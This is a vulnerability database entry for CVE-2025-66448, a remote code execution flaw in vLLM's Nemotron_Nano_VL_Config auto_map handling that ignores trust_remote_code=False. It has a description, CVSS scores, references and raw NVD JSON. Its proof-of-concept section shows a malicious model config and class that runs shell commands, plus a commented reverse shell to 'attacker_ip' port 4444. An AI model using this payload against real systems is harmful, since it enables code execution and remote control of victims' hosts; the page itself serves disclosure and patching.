CVE-2025-66448

Description

vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.11.1, vllm has a critical remote code execution vector in a config class named Nemotron_Nano_VL_Config. When vllm loads a model config that contains an auto_map entry, the config class resolves that mapping with get_class_from_dynamic_module(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the auto_map string. Crucially, this happens even when the caller explicitly sets trust_remote_code=False in vllm.transformers_utils.config.get_config. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via auto_map to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host. This vulnerability is fixed in 0.11.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:* - VULNERABLE

vLLM < 0.11.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66448 PoC - Malicious Model Repository
# Attacker creates a malicious model with auto_map in config.json
{
  "model_type": "nemotron_nano_vl",
  "auto_map": {
    "AutoConfig": "malicious_repo.config.MaliciousConfig"
  }
}

# malicious_repo/config.py
class MaliciousConfig:
    def __init__(self):
        import os
        # Execute arbitrary commands
        os.system('whoami > /tmp/pwned.txt')
        # Or reverse shell
        # import socket,subprocess,os
        # s=socket.socket()
        # s.connect(("attacker_ip",4444))
        # os.dup2(s.fileno(),0)
        # os.dup2(s.fileno(),1)
        # os.dup2(s.fileno(),2)
        # subprocess.call(["/bin/sh","-i"])
        pass

# Victim code (even with trust_remote_code=False)
from vllm.transformers_utils.config import get_config
config = get_config(model_path, trust_remote_code=False)  # Bypassed!

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66448
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66448
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66448/
[4] VulDB https://vuldb.com/cve/CVE-2025-66448
[5] https://github.com/vllm-project/vllm/commit/ffb08379d8870a1a81ba82b72797f196838d0c86
[6] https://github.com/vllm-project/vllm/pull/28126
[7] https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66448", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:54.213", "lastModified": "2025-12-03T17:52:26.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.11.1, vllm has a critical remote code execution vector in a config class named Nemotron_Nano_VL_Config. When vllm loads a model config that contains an auto_map entry, the config class resolves that mapping with get_class_from_dynamic_module(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the auto_map string. Crucially, this happens even when the caller explicitly sets trust_remote_code=False in vllm.transformers_utils.config.get_config. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via auto_map to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host. This vulnerability is fixed in 0.11.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.11.1", "matchCriteriaId": "1501709D-1515-4B83-89CB-6F7FD4F81C4D"}]}]}], "references": [{"url": "https://github.com/vllm-project/vllm/commit/ffb08379d8870a1a81ba82b72797f196838d0c86", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vllm-project/vllm/pull/28126", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-8fr4-5q9j-m8gm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}